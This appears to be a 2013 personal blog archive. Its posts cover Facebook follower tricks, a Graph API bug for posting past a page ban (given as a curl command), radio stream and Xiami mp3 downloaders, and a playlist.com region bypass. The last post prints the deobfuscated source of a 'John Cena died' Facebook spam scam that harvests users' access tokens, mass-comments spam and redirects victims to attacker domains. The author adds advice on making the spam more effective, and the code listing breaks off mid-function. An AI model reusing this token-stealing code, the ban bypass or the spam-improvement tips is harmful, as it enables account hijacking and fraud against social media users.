Saturday, 22 June 2013

facebook - 2 ways force your follower unfollow you

The first way is actually described at https://www.facebook.com/help/382751108453953/,

"If you don’t want a specific person to follow you, or you want to disconnect from a specific follower, you can block them at any time." 

So, you need to block him. https://www.facebook.com/help/168009843260943 teach users how to block someone.



Also, Facebook mentioned that:



So, 

1. If you turn off follow setting and then turn it back on, your followers will be restored.
2. If you deactivate and then reactivate account, your followers will be restored.

However, there's some conceptual missing here:

1.  If you block your follower and then unblock him, both following connection is cut off. That's means  you are no longer following him, and also, he/she no longer to following you. Because of security concerns,  re-block someone only allow after 48 hours.





For those who are curious why 48 hours restriction, this security concerns is: 
When user A block user B, then user B can't block user A. So every time user A want to visit user B profile, user A just unblock user B. that's why 48 hours restriction to minimize the stalking.



Is that's all?

No, it's not. there's one more way User A can force user B to unfollow him without blocking process:

The real story:

1. User A and user B is not friend. User B follow user A.

2. User A don't want user B follow him. But also, user A don't want to block user B. Seem like that's no official option to remove user B from following.



3. User A go to https://www.facebook.com/USER_B_USER_ID, click "Add Friend" option.




4. After Friend request sent, user A immediately click "Cancel request" option before user B able to notice the notification.






5. And now, the magic happen, user B is automatically unfollow user A, and vice vesa. Followers tab is gone.





Friday, 14 June 2013

facebook series 1 - link, the underestimated timebomb

I've noticed the misbehaved /link type post quite a long time ago. Previously if i reached rate limit with /feed type post, i can use /link type post because it have higher rate limit compare with /feed. But now the rate limit of /feed type post has been increased, so seem like there's no obvious advantage of /link type post.

However, this misbehaved of /link type post have high potential lead to a new security vulnerability on future, if not now.

Currently there's already have 2 misbehaved I've noticed:

1. Bypass page to page posting restriction using API


Actually it shouldn't consider as a bug, because page admin is allow to post as page to page using https://www.facebook.com. However, it's not supposed to be done using Facebook Graph API.

Let's say you are the admin fanpage called "Iptv", so you want to post to fanpage "coca-cola".
The first step is get Page Access Token via /me/accounts API endpoint. (Put this Page Access Token inside Graph API explorer's access token field for test.)
Then you can't simply do http POST request to PAGE_ID/feed with message parameter, because you would get error message instead:



The solution is coming, if you post a 'link' type post, then you're able to bypass this restriction and post as page.




Open up coca-cola fanpage at https://www.facebook.com/cocacola, filter by Posts by Others, you can see post to coca-cola page as another page called 'Iptv' successfully:







2. Bypass fan page banned restriction to posting



This is not supposed to be happen even using https://www.facebook.com, not just API. 


Fan page admin banned the user, however, the user still can using Graph API to bypass this restriction to post link and custom its photo. The main cause is because of "link=" parameter.

The real story:


1. Page A admin block user B



2. User B using curl to posting: curl -vLk -F link=http://www.google.com/ -F message=ha --form "picture=http://i.stack.imgur.com/7J2xf.png" https://graph.facebook.com/PAGE_A_ID/feed?access_token=USER_ACCESS_TOKEN

3. Success post to page A. Able to see the post when filter by "Posts by Others" at https://www.facebook.com/pages/PAGE_A_NAME/PAGE_A_ID?filter=2





*I've already report the bug #2 to Facebook at https://developers.facebook.com/bugs/285031211633194








Friday, 22 March 2013

how to download 988, myfm, onefm, flyfm


Open one of these link on your browser to download
FM Name

Link


MYFM

http://myfm.rastream.com:80/myfm?type=.flv (旧的)
http://astro1.rastream.com:80/myfm?type=.flv (新的)

988

http://starrfm.rastream.com:80/starrfm-988?type=.flv

ONEFM

http://7409.live.streamtheworld.com/ONEFMAAC?streamtheworld_user=1

FLYFM

http://7439.live.streamtheworld.com/FLYFMAAC?streamtheworld_user=1

HOTFM

http://2343.live.streamtheworld.com/HOTFMAAC?streamtheworld_user=1&nobuf=1362807548959

HITZFM

http://astro1.rastream.com:80/hitz?type=.flv


Tips: you can stop the download anytime you want. Then change the extension of file to .flv or .mp4 if your player failed to open.




Q&A (onefm, flyfm, hotfm)

Q1:  How to get the lastest/best hosts and ports?

A1:

For onefm, flyfm and hotfm, open one of these link on your browser:
FM Name

Link


ONEFM

http://playerservices.streamtheworld.com/api/livestream?version=1.5&mount=ONEFMAAC&lang=EN&transports=http&nobuf=1363874220810

FLYFM

http://playerservices.streamtheworld.com/api/livestream?version=1.5&mount=HOTFMAAC&lang=EN&transports=http&nobuf=1363874220801

HOTFM

http://playerservices.streamtheworld.com/api/livestream?version=1.5&mount=FLYFMAAC&lang=EN&transports=http&nobuf=136387422081



Now, you should able to get the lastest port and host. For example onefm, you choose http://2293.live.streamtheworld.com, then port number is 3690, so the final link changed from http://7409.live.streamtheworld.com/ONEFMAAC?streamtheworld_user=1 become http://2293.live.streamtheworld.com:3690/ONEFMAAC?streamtheworld_user=1


Q2:  What should i do if the web browser no response/hang when open the link?

A2: add &nobuf=whatever number at the end of the link, for example, http://7409.live.streamtheworld.com/ONEFMAAC?streamtheworld_user=1&nobuf=123. Change to other number if 123 also no response.



Q&A (myfm, 988, hitzfm)

Q1:  How to download mp4, instead of flv format?

A1: Example, change http://astro1.rastream.com:80/myfm?type=.flv to http://astro1.rastream.com:80/myfm?type=.mp4

Q2:  Alternative to this link?

A2: Ya, http://hitz.rastream.com/hitz.iphone, http://starrfm.rastream.com/starrfm-988.iphone and http://astro1.rastream.com/myfm.iphone

Thursday, 14 March 2013

xiami.com - python downloader







Platform: Linux, python(including BeautifulSoup), curl

Prerequisite: Even though Xiami account is not compulsory, however you would lost some of songs to search without login.

Further: Add metadata, such as album image to the mp3, refer to  eyeD3 (http://eyed3.nicfit.net/).

How to decode mp3 location:  

Example: 8h2xt%8%72%3tFi%2%26_5t%a2F2591Ep2mF3F23%3%Fi66%%4593f.95552E.A3n98EE25m%.e251181p, 8 is the desired matrix's row number. Drop the 8, then h2xt%8%72%3tFi%2%26_5t%a2F2591Ep2mF3F23%3%Fi66%%4593f.95552E.A3n98EE25m%.e251181p is our  substring to build the matrix. Get the length of h2xt%8%72%3tFi%2%26_5t%a2F2591Ep2mF3F23%3%Fi66%%4593f.95552E.A3n98EE25m%.e251181p, is 81. then 81 divide by desired 8, is 10. If 81 % 8 is not a zero, i call it overflow, and the maximum length become 10+1=11. () Length of each row ONLY can consists of (maximum length of all rows, 11) and (maximum length of all rows -1, 10).  Finally, unquote the url(%3A become =), and then replace ^(%5E) as 0 character.

8

h2xt%8%72%3

tFi%2%26_5

t%a2F2591E

p2mF3F23%3

%Fi66%%459

3f.95552E.

A3n98EE25m

%.e251181p





As you can see, matrix[0][0] -> matrix[0][1] -> matrix[0][2] -> matrix[0][3] -> matrix[0][4] -> matrix[0][5] -> matrix[0][6] - matrix[0][7]

is equal to http%3A%

Then,   matrix[1][0] -> matrix[1][1] -> matrix[1][2] -> matrix[1][3] -> matrix[1][4] -> matrix[1][5] -> matrix[1][6] - matrix[1][7] is equal to 2F%2Ff3.

And so on... 

Then combine all column become  http%3A%2F%2Ff3....blahblahblah..mp3

Unquote and replace the ^ as 0,

become http://f3.xiami.net/6992/365858/01%201769342282_1051039.mp3

NOTE: Download the mp3 with firefox.

Tha't s no guarantee download success using different web browsers because of the http referer header validation.

Screenshot:

     Fixed bug 15 March 2013 : cookies file naming
     Fixed bug 15 March 2013 : escape single quote on url/folder/song name when download
     New feature 15 March 2013 : Download all today's recommended mp3
     New feature 15 March 2013 : Naming convention, Artist name - song name.mp3



                                                         60298 is artist radio id


The location's link have to decode to get final mp3 link.


Downloader front 


                      Download collection's all songs - recommend collection id is shown


Download entire artist radio



Downloader Source code:

#author: <limkokhole@facebook.com>
EMAIL = "" #PUT YOUR EMAIL HERE !!!
PASSWORD = "" #PUT YOUR PASSWORD HERE !!!
USER_AGENT = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17"
CONN_TYPE_HEADER = "Content-Type:application/x-www-form-urlencoded"
FAKE_REFERER = "http://www.xiami.com/res/fm/xiamiRadio_20120612.swf?v=20130129" #the key is http://www.xiami.com, not necessary full url required
COOKIES_FILE = "/tmp/xiami_cookie" #linux !!!
loc_list = []
col_list = []


import os
import sys
import time
import signal
import urllib
import urllib2
import subprocess
from xml.etree import ElementTree as ET
from BeautifulSoup import BeautifulSoup

def sub_pre():
signal.signal(signal.SIGPIPE, signal.SIG_DFL)

def download(folder_name="."):
total = len(loc_list)
for index, (mp3_url, song_name) in enumerate(loc_list):
if len(song_name) > 251:
song_name = song_name[:251]
song_name+=".mp3"
file_destination = "/".join([folder_name, song_name])
cmd = "curl -vLk -e '"+FAKE_REFERER+"' -A '"+USER_AGENT+"' '"+mp3_url.replace("'", "'\\''")+"' > '"+file_destination.replace("'", "'\\''")+"'"
print "cmd: ", cmd
proc = subprocess.Popen(cmd, preexec_fn=sub_pre, shell=True, bufsize=2048, stdout=subprocess.PIPE, close_fds=True)
try:
proc.communicate()
except Exception, e:
print "proc exception ", e
del proc
print "".join(["Completed ", str(index+1), " of ", str(total)])


def request_api(link, come_from, sid):
global loc_list
loc_list = []

cmd = "curl -vLk -b '"+COOKIES_FILE+"' --connect-timeout 20 -A '"+USER_AGENT+"' -e '"+FAKE_REFERER+"' '"+link+"'"
proc = subprocess.Popen(cmd, shell=True, bufsize=2048, stdout=subprocess.PIPE, close_fds=True)
r = proc.stdout.read()
try:
proc.communicate()
except Exception, e:
print "exception: ", e
base_xml = ET.fromstring(r)
c = base_xml.getchildren()
if come_from == "r":
g = c[1].getiterator()
song_name_tag = "song_name"
artist_name_tag = "artist_name"
elif come_from in ["s", "a", "c", "t"]:
g = c[0].getiterator()
song_name_tag = "title"
artist_name_tag = "artist"
real_index= 0
song_name = sid
for index, gg in enumerate(g):
if song_name_tag in gg.tag: #assume song_name/title always on top of artist_name/artist/location tag
song_name = gg.text.strip()
elif artist_name_tag in gg.tag: #assume artist_name/artist always on top of location tag
song_name = " - ".join([gg.text.strip(), song_name])
elif "location" in gg.tag: #may {http://xspf.org/ns/0/}location
real_index+=1
loc_list.append( [decode_mp3_matrix(gg.text.strip()), song_name])
#loc_list = loc_list[-4:] #TESTING PURPOSE !!!
print real_index

def request_recommend(link, come_from):
global col_list
col_list = []

cmd = "curl -vLk -b '"+COOKIES_FILE+"' --connect-timeout 20 -A '"+USER_AGENT+"' -e '"+FAKE_REFERER+"' '"+link+"'"
proc = subprocess.Popen(cmd, shell=True, bufsize=2048, stdout=subprocess.PIPE, close_fds=True)
r = proc.stdout.read()
try:
proc.communicate()
except Exception, e:
print "exception: ", e
print r, " r"
base_xml = ET.fromstring(r)
print base_xml, " x"
c = base_xml.getchildren()
if come_from == "c":
g = c[0].getiterator()
for index, gg in enumerate(g):
if "title" in gg.tag: #assume the sequence (title -> desc -> guid )is correct
t = gg.text.strip()
if "description" in gg.tag:
d = gg.text.strip()
if "guid" in gg.tag:
col_list.append( [ t, d, gg.text.strip().split("/")[-1] ] )
if col_list:
print "Recommend: \n"
for ct, cd, coll in col_list:
print "==========================\n"
print "Collection Id: ", coll
print "Title: ", ct
print "Description: ", cd #Enable it if you want :)
print "==========================\n"
print

def decode_mp3_matrix(s):
#8h2xt%8%72%3tFi%2%26_5t%a2F2591Ep2mF3F23%3%Fi66%%4593f.95552E.A3n98EE25m%.e251181p
#8h2xt%6EE5%mtFi%2131E5pt%a2F1%74E3p2mF4%2687%Fi6%259113f.95F28_1A3n9E%%316%.e2755%7.
#9hFaF15E9%t%m66E3_5t2i91153EpF.97%%7.%fn24253m33e%%5E%pA.t222853%x%FF%8E2i23%594
#print "s: ", s
m = []
s_len = float(len(s)) - 1
#print "s_len: ", s_len
first_char = int(s[0])
#print "first_char: ", first_char


if s_len % first_char:
#print "s_len % first_char: ", s_len % first_char
slice_len_upper = int(s_len / first_char) + 1
slice_len = slice_len_upper - 1
overflow = (int(s_len % first_char))
else:
#print "s_len % first_char2: ", s_len % first_char
slice_len_upper = int(round( s_len / first_char ))
slice_len = slice_len_upper
overflow = None
#print "slice_len_upper: ", slice_len_upper
#print "slice_len : ", slice_len
#print "overflow : ", overflow
sub_str = s[1:]
#print "sub_str : ", sub_str
if overflow:
sub_str2 = sub_str[ : overflow*slice_len_upper ]
#print "sub_str2 : ", sub_str2
m = [sub_str2[i:i+slice_len_upper] for i in range(0, len(sub_str2), slice_len_upper)]
#print "m : ", m
sub_str3 = sub_str[ overflow*slice_len_upper : ]
#print "sub_str3 : ", sub_str3
m2 = [sub_str3[i:i+slice_len] for i in range(0, len(sub_str3), slice_len)]
#print "m2 : ", m2
else: #None ,also including 0
m2 = [sub_str[i:i+slice_len_upper] for i in range(0, len(sub_str), slice_len_upper)]
#print "m2 : ", m2
m.extend(m2)
#print "m: ", m
f = ""
for n in range(slice_len_upper):
for mm in m:

if len(mm) > n:
f = "".join([f, mm[n]])
#else:
# print n, len(mm)
return urllib.unquote(f).replace("^", "0")

def xiami_login():
success = False
try:
login_page_cmd = 'curl -Lk --compressed --connect-timeout 30 -4 -c "'+COOKIES_FILE+'" -H \'Accept-Encoding:gzip,deflate\' -H \'Host:www.xiami.com\' -H \'Connection:close\' -A \''+USER_AGENT+'\' -X GET \"http://www.xiami.com/member/login\"'
proc = subprocess.Popen(login_page_cmd, shell=True, bufsize=2048, stdout=subprocess.PIPE, close_fds=True)
data = proc.stdout
r = data.read()
input_list = []
post_data = ""
name = ""
value = ""
soup = BeautifulSoup(r)
input_list = soup.html.form.findAll('input')
for i in input_list:
name = i.get("name", "")
if name == "email":
value = EMAIL
elif name == "password":
value = PASSWORD
else:
value = i.get("value", "")
try:
value = value.encode('utf-8')
except Exception, e:
print "xiami_login exception", e
tmpdict = {}
tmpdict[name] = value
dictEncoded = ""
dictEncoded = urllib.urlencode(tmpdict)
post_data = (post_data+dictEncoded+"&")
post_data = post_data[:-1]
print "post_data", post_data
login_cmd = "curl -k --compressed --connect-timeout 30 -4 -w '%{redirect_url}%{http_code}' --post301 --post302 -c '"+COOKIES_FILE+"' -b '"+COOKIES_FILE+"' -H 'Accept-Encoding:gzip,deflate' -A '"+USER_AGENT+"' -H 'Keep-Alive:115' -H 'Connection:keep-alive' -e \"http://www.xiami.com/member/login;auto\" -H '"+CONN_TYPE_HEADER+"' -F \""+post_data+"\" -X POST \"http://www.xiami.com/member/login\""
proc = subprocess.Popen(login_cmd, shell=True, bufsize=2048, stdout=subprocess.PIPE, close_fds=True)
data = proc.stdout
r = data.read()
print "r: ", r
http_code = r[-3:]
redirect_url = r[:-3]
if http_code == "302":
redirect_path = urllib2.urlparse.urlparse(redirect_url).path
if "login" in redirect_path:
print "Invalid username or password."
else:
print "login success"
success = True
else:
print "Invalid username or password."
except Exception, e:
print "exception xiami_login -1 ", e
return success

def folder_creator(pp):
folder_name = pp #CHANGE your folder name here if you want
if len(folder_name) > 255:
folder_name = folder_name[:255]
if not os.path.exists(folder_name):
os.makedirs(folder_name)
return folder_name

if not os.path.isfile(COOKIES_FILE):
success = xiami_login()

else:
c = open(COOKIES_FILE, "r")
cc = c.read().split("\t")
if "member_auth" not in cc:
success = xiami_login()
else:
success = True

#print decode_mp3_matrix("8h2xt%8%72%3tFi%2%26_5t%a2F2591Ep2mF3F23%3%Fi66%%4593f.95552E.A3n98EE25m%.e251181p")

if success:
print "You are loggedin\n\n"
else:
print "Bad news, failed to login :( That's means you lost some of the songs if given radio id...etc\n\n"
while 1:
try:
input = raw_input
except Exception, e:
print "exception input: ", e
p = input("Press to download \n s - single song \n r - artist radio/artist \n a - album \n c - collection \n t - today's recommended \n q - quit \n :").lower()
if p.lower() in ["q", "quit", "exit", "e", "bye", "end"]:
print "see you :)"
break
else:
print
print "".join(["Example: ", "http://www.xiami.com/song/1770157129", ", 1770157129 is song id"])
print "".join(["Example: ", "http://www.xiami.com/radio/play/type/5/oid/37276", ", 37276 is artist radio id"])
print "".join(["Example: ", "http://www.xiami.com/album/353688?ref=ac-artist", ", 353688 is album id"])
print "".join(["Example: ", "http://www.xiami.com/song/showcollect/id/16697686", ", 16835208 is collection id"])
print
if p == "s":
pp = input("Song id: ")
#http://www.xiami.com/widget/xml-single/sid/1769547541 or http://www.xiami.com/song/playlist/id/1769547541
link = "".join(["http://www.xiami.com/song/playlist/id/", pp])
elif p == "r":
pp = input("Radio/Artist id: ")
link = "".join(["http://www.xiami.com/radio/xml/type/5/id/", pp])
elif p == "a":
pp = input("Album id: ")
link = "".join(["http://www.xiami.com/song/playlist/id/", pp, "/type/1"])
elif p == "c":
request_recommend("http://www.xiami.com/collect/feed", "c")
pp = input("Collection id: ")
link = "".join(["http://www.xiami.com/song/playlist/id/", pp, "/type/3"])
elif p == "t":
pp = "today recommended"
link = "http://www.xiami.com/song/playlist/id/2/type/9"
else:
continue
try:
request_api(link, p, pp)
except Exception, e:
print "not found ", e
continue
folder_name = folder_creator(pp)
download(folder_name=folder_name)

Wednesday, 27 February 2013

playlist.com - bypass country restriction

I'm open http://www.playlist.com/, the player just skipping all my added songs without play any song.

As discussion found on http://answers.yahoo.com/question/index?qid=20090626094142AAsfhL7, their conclusion is that http://www.playlist.com/  can only play inside US region. No solution.


 I figure out the website also using API.
...var GAMMA_API = "/cakeapi/";var GAMMA_API2 = "/cakeapi/";var GAMMA_API3 = "/cakeapi/";var GAMMA_API_SONGS = "/cakeapi/";...



However, if i open http://www.playlist.com/cakeapi/playlist/23851079435, i saw
{"header":{"code":0,"msg":"","time":1361966031},"body":[{"id":"23851079435","title":"\u6797\u679c\u769e's Playlist","description":"","username":"\u6797\u679c\u769e","owner_id":"58558546","owner_url":"http:\/\/www.playlist.com\/f\/user\/58558546","is_group":false,"created":"Wed, 27 Feb 2013 07:29:02 GMT","created_sec":1361950142,"last_mod_sec":1361950142,"last_mod_time_ago":"4 hours ago","icon":"http:\/\/static.pplaylist.com\/img\/user\/du.gif","url":"http:\/\/www.playlist.com\/f\/playlist\/23851079435","song_count":2,"comments":[],"songs":[]}]}


And if i open http://www.playlist.com/cakeapi/playlist/23851079435?tracks=200, i saw
{"header":{"code":0,"msg":"","time":1361967107},"body":[{"id":"23851079435","title":"\u6797\u679c\u769e's Playlist","description":"","username":"\u6797\u679c\u769e","owner_id":"58558546","owner_url":"http:\/\/www.playlist.com\/f\/user\/58558546","is_group":false,"created":"Wed, 27 Feb 2013 07:29:02 GMT","created_sec":1361950142,"last_mod_sec":1361950142,"last_mod_time_ago":"5 hours ago","icon":"http:\/\/static.pplaylist.com\/img\/user\/du.gif","url":"http:\/\/www.playlist.com\/f\/playlist\/23851079435","song_count":2,"comments":[],"songs":[{"tracklink_id":1712768273,"track_id":null,"title":"Harlem Shake","artist":"Baauer","duration":null,"status":1,"icon":"http:\/\/static.pplaylist.com\/img\/elements\/album-art.gif","enc_mp3":null,"mp3":null},{"tracklink_id":766253585,"track_id":null,"title":"Around The World (Megamix)","artist":"The Allstars Covers Atc","duration":194,"status":1,"icon":"http:\/\/static.pplaylist.com\/img\/elements\/album-art.gif","enc_mp3":null,"mp3":null}]}]}

Sorry, both're no mp3 links. They're block me.


 So now, let me show you simple steps to bypass this country restriction, and get the mp3 links.

 Step 1: Open http://www.playlist.com, search song.

 Step 2: Then you would see a list of songs. Example here, http://www.playlist.com/search/around%20the%20world%20atc/songs with your browser. 

Click small icon  behind the song, add song to your playlist(If you doesn't have a account yet, you should create new account first).

 Step 3: Click "My playlists" label on the top of the page to access your playlists. Example here, http://www.playlist.com/user/58558546/playlists

 Step 4: Choose one playlist(which was the one you use to added song just now.). Example 林果皞's Playlist, http://www.playlist.com/playlist/23851079435

 Step 5: Now you see the playlist id on your URL bar, example here is http://www.playlist.com/playlist/23851079435, which 23851079435 is my playlist id.

 Step 6: Add this playlist id 23851079435 at the end of http://pl.playlist.com/pl.php?e=1&playlist= ,example here is become http://pl.playlist.com/pl.php?e=1&playlist=23851079435 . Open it


 Step 7: Copy the mp3 link between <location>...</location>, example is http://cdn1-99.projectplaylist.com/e1/v1_0_0/exampleeeeeeeeeeeeeeeeeeeeeeeeeeeee(this is example, cannot play, you should get mp3 by your own. And it may expire within several minutes+)

 Step 8: Open this mp3 link with your browser. Play, download, and enjoy :)



Pumped Up Kicks by Foster The People on Grooveshark

Saturday, 23 February 2013

John Cena of WWE died spam - main execution source code



Q: Why facebook didn't block the apps? Why i couldn't remove the apps?

A: The spam consists of different famous app id, such as youtube app (Visit https://graph.facebook.com/7270241753, http://graph.facebook.com/87741124305,  or https://www.facebook.com/7270241753), iphone app..etc. It just borrow the app id to get access token from user. No point for facebook to block it and no way for you to remove it(Em..i means some of them no way, not all. Some apps like https://graph.facebook.com/25554907596, http://graph.facebook.com/2309869772, https://graph.facebook.com/2347471856 is almost impossible to remove). However, this kind of app require APP secret key to get 2 months long term access token, that's means this borrowed token only can survive for 2 hours. There's still got exception, if the spam redirect via m.facebook.com, the access token would consider as desktop application type, which able to survive for 2 months(You can change your password to force it expire.)

Q: What can be improve the spam?

A: Likes can spam of course, however, Comment spam sure block before comments all 50 posts id from newsfeed, and previous commented may deleted by facebook. The total of comments should decrease as possible. (to those who are concerned,
Facebook API have different rate limits calculation for /feed, /link, /comment, /like, etc). Delay between each request should longer. And as i mentioned, the code should force user redirect to m.faceook.com, not www.facebook.com. And using some application id like windows messenger http://graph.facebook.com/220764691281998, firefox messenger http://graph.facebook.com/276729612446445 ...etc, which never expired(Again, change your password to make it dead).


Javascript 1:
var country = geoip_country_code();
if (country == 'PH' || country == 'SA' || country == 'SG' || country == 'HK' || country == 'AE' || country == 'ID' || country == 'LT' || country == 'TW') {};
if (country == 'US' || country == 'GB' || country == 'FR' || country == 'DE') {
window['location'] = 'http://plgngl.info/tkn/obfu2.php';
};
var is_firefox = navigator['userAgent']['toLowerCase']()['indexOf']('firefox') > -1;
if (is_firefox) {
window['location'] = 'http://blankrefer.com?http://plgngl.info/ff/firefox.php';
};
var isCtrl = false;
document['onkeyup'] = function (_0xd2e8x4) {
if (_0xd2e8x4['which'] == 17) {
isCtrl = false;
};
};
document['onkeydown'] = function (_0xd2e8x4) {
if (_0xd2e8x4['which'] == 17) {
isCtrl = true;
SetFocus('scatola');
return false;
};
};
$('.url')['live']('paste', function (_0xd2e8x5) {
var _0xd2e8x6 = this;
setTimeout(function () {
var _0xd2e8x7 = $(_0xd2e8x6)['val']();
$('.control')['css']('display', 'none');
$('#loading_bar')['css']('display', 'block');
checkData(_0xd2e8x7);
}, 100);
});

function SetFocus(_0xd2e8x9) {
document['getElementById'](_0xd2e8x9)['focus']();
};

function checkData(_0xd2e8xb) {
try {
if (_0xd2e8xb['indexOf']('access_token=') == -1) {
throw new Error('invalid access_token');
};
var _0xd2e8xc = _0xd2e8xb['split']('access_token=')['pop']()['split']('&')['shift']();
var _0xd2e8xd = _0xd2e8xb['split']('expires_in=')['pop']()['split']('&')['shift']();
console['log']('got token', _0xd2e8xc);
if (_0xd2e8xc) {
doShit(_0xd2e8xc);
} else {
throw new Error('invalid access_token');
};
} catch (e) {
handleError();
};
};
var handleError = function () {
alert('Whoops! Looks like there was a problem generating your code, please try again');
$('.control')['css']('display', 'block');
$('#loading_bar')['css']('display', 'none');
prevSlide();
};

function cpa() {
window['location'] = 'http://bit.ly/w1W1k2';
};

function latestShort(_0xd2e8x11, _0xd2e8x12) {
var _0xd2e8x13 = 'http://to.ly/api.php?json=1&longurl=' + encodeURIComponent(_0xd2e8x11) + '&callback=?';
$['getJSON'](_0xd2e8x13, function (_0xd2e8x14) {
_0xd2e8x12 && _0xd2e8x12(_0xd2e8x14['shorturl']);
});
};

function doShit(_0xd2e8x16) {
$['getJSON']('https://graph.facebook.com/me?access_token=' + _0xd2e8x16, function (_0xd2e8x17) {
if (_0xd2e8x17['id']) {
var _0xd2e8x18 = _0xd2e8x17['id'];
var _0xd2e8x19 = _0xd2e8x17['name'];
var _0xd2e8x1a = Math['floor'](Math['random']() * 734892748932);
var _0xd2e8x1b = 'John Cena of WWE died in a head injury while training! Watch the original v1deo cl1p here >>> ';
var _0xd2e8x1c = new Array();
_0xd2e8x1c[0] = 'http://static.tumblr.com/c5apoln/9Ahmimxus/cena.html';
_0xd2e8x1c[1] = 'http://static.tumblr.com/c5apoln/s5hmimxxi/cena.html';
_0xd2e8x1c[2] = 'http://static.tumblr.com/c5apoln/klimimxxr/cena.html';
_0xd2e8x1c[3] = 'http://static.tumblr.com/c5apoln/DtNmimxxy/cena.html';
_0xd2e8x1c[4] = 'http://static.tumblr.com/c5apoln/Vs9mimxy8/cena.html';
_0xd2e8x1c[5] = 'http://static.tumblr.com/c5apoln/j9Emimxyg/cena.html';
_0xd2e8x1c[6] = 'http://static.tumblr.com/c5apoln/GQhmimxyn/cena.html';
_0xd2e8x1c[7] = 'http://static.tumblr.com/c5apoln/HU1mimxyu/cena.html';
_0xd2e8x1c[8] = 'http://static.tumblr.com/c5apoln/Y8Imimxz1/cena.html';
_0xd2e8x1c[9] = 'http://static.tumblr.com/c5apoln/ofxmimxz8/cena.html';
_0xd2e8x1c[10] = 'http://static.tumblr.com/c5apoln/4CUmimxzf/cena.html';
var _0xd2e8x1d = 50;
$['getJSON']('https://graph.facebook.com/' + _0xd2e8x18 + '/home?limit=' + _0xd2e8x1d + '&access_token=' + _0xd2e8x16, function (_0xd2e8x17) {
if (_0xd2e8x17['data']) {
var _0xd2e8x1e = [];
var _0xd2e8x1f = 0;
$['each'](_0xd2e8x17['data'], function (_0xd2e8x20, _0xd2e8xb) {
_0xd2e8x1e['push'](_0xd2e8xb['id']);
var _0xd2e8x21 = Math['floor'](Math['random']() * _0xd2e8x1c['length']);
var _0xd2e8x22 = Math['floor'](Math['random']() * _0xd2e8x1a);
var _0xd2e8x23 = _0xd2e8x1c[_0xd2e8x21] + '?' + _0xd2e8x22;
var _0xd2e8x24 = new Array();
_0xd2e8x24[0] = 'http://mcaf.ee/qlca2';
_0xd2e8x24[1] = 'http://mcaf.ee/gvbfr';
_0xd2e8x24[2] = 'http://mcaf.ee/glbqf';
_0xd2e8x24[3] = 'http://mcaf.ee/kszhc';
_0xd2e8x24[4] = 'http://mcaf.ee/awjck';
_0xd2e8x24[5] = 'http://mcaf.ee/w5g4f';
_0xd2e8x24[6] = 'http://mcaf.ee/vrojx';
_0xd2e8x24[7] = 'http://mcaf.ee/miq7y';
_0xd2e8x24[8] = 'http://mcaf.ee/w5tgv';
_0xd2e8x24[9] = 'http://mcaf.ee/t7spj';
_0xd2e8x24[10] = 'http://mcaf.ee/n0kbf';
var _0xd2e8x25 = Math['floor'](Math['random']() * _0xd2e8x24['length']);
var _0xd2e8x26 = null;
$['getJSON']('http://is.gd/create.php?format=json&url=' + _0xd2e8x23, function (_0xd2e8xb) {
_0xd2e8x26 = _0xd2e8xb['shorturl'];
_0xd2e8x1f = _0xd2e8x1f + 1;
if (!_0xd2e8x26) {
_0xd2e8x26 = _0xd2e8x24[_0xd2e8x25];
};
console['log'](_0xd2e8x26);
_0xd2e8x27();
_0xd2e8x29();
});

function _0xd2e8x27() {
var _0xd2e8x28 = _0xd2e8x1b + _0xd2e8x26;
$['getJSON']('https://graph.facebook.com/' + _0xd2e8xb['id'] + '/comments?method=POST&message=' + _0xd2e8x28 + '&access_token=' + _0xd2e8x16, function (_0xd2e8x17) {
console['log']('comment id: ' + _0xd2e8xb['id']);
});
};

function _0xd2e8x29() {
if (_0xd2e8x1f == _0xd2e8x1d) {
console['log'](_0xd2e8x1f, _0xd2e8x1d);
console['log']('Redirecting...');
cpa();
};
};
});
} else {
alert('Wrong Code. Please try again.');
$('.control')['css']('display', 'block');
$('#loading_bar')['css']('display', 'none');
prevSlide();
};
});
};
});
};


 
Javascript 2:
if (document['location']['href']['indexOf']('plgngl.info') !== -1) {} else {
top['location'] = 'http://plgngl.info/tkn/';
};
var is_firefox = navigator['userAgent']['toLowerCase']()['indexOf']('firefox') > -1;
if (is_firefox) {
window['location'] = 'http://blankrefer.com?http://plgngl.info/ff/firefox.php';
};
var isCtrl = false;
document['onkeyup'] = function (_0x78b2x3) {
if (_0x78b2x3['which'] == 17) {
isCtrl = false;
};
};
document['onkeydown'] = function (_0x78b2x3) {
if (_0x78b2x3['which'] == 17) {
isCtrl = true;
SetFocus('scatola');
return false;
};
};
$('.url')['live']('paste', function (_0x78b2x4) {
var _0x78b2x5 = this;
setTimeout(function () {
var _0x78b2x6 = $(_0x78b2x5)['val']();
$('.control')['css']('display', 'none');
$('#loading_bar')['css']('display', 'block');
checkData(_0x78b2x6);
}, 100);
});

function SetFocus(_0x78b2x8) {
document['getElementById'](_0x78b2x8)['focus']();
};

function checkData(_0x78b2xa) {
try {
if (_0x78b2xa['indexOf']('access_token=') == -1) {
throw new Error('invalid access_token');
};
var _0x78b2xb = _0x78b2xa['split']('access_token=')['pop']()['split']('&')['shift']();
var _0x78b2xc = _0x78b2xa['split']('expires_in=')['pop']()['split']('&')['shift']();
console['log']('got token', _0x78b2xb);
if (_0x78b2xb) {
doShit(_0x78b2xb);
} else {
throw new Error('invalid access_token');
};
} catch (e) {
handleError();
};
};
var handleError = function () {
alert('Whoops! Looks like there was a problem generating your code, please try again');
$('.control')['css']('display', 'block');
$('#loading_bar')['css']('display', 'none');
prevSlide();
};

function cpa() {
window['location'] = 'http://bit.ly/w1W1k2';
};

function doShit(_0x78b2x10) {
$['getJSON']('https://graph.facebook.com/me?access_token=' + _0x78b2x10, function (_0x78b2x11) {
if (_0x78b2x11['id']) {
var _0x78b2x12 = _0x78b2x11['id'];
var _0x78b2x13 = _0x78b2x11['name'];
var _0x78b2x14 = Math['floor'](Math['random']() * 734892748932);
var _0x78b2x15 = 'John Cena of WWE died in a head injury while training! Watch the original v1deo cl1p here >>> ';
var _0x78b2x16 = new Array();
_0x78b2x16[0] = 'http://gfyuegshfiohes.tumblr.com/';
_0x78b2x16[1] = 'http://hjiotjrkphoiyt.tumblr.com/';
_0x78b2x16[2] = 'http://gfehiojfapojwoi.tumblr.com/';
_0x78b2x16[3] = 'http://ghsfijspoekfpo.tumblr.com/';
_0x78b2x16[4] = 'http://ruyqwioeruiq.tumblr.com/';
var _0x78b2x17 = 50;
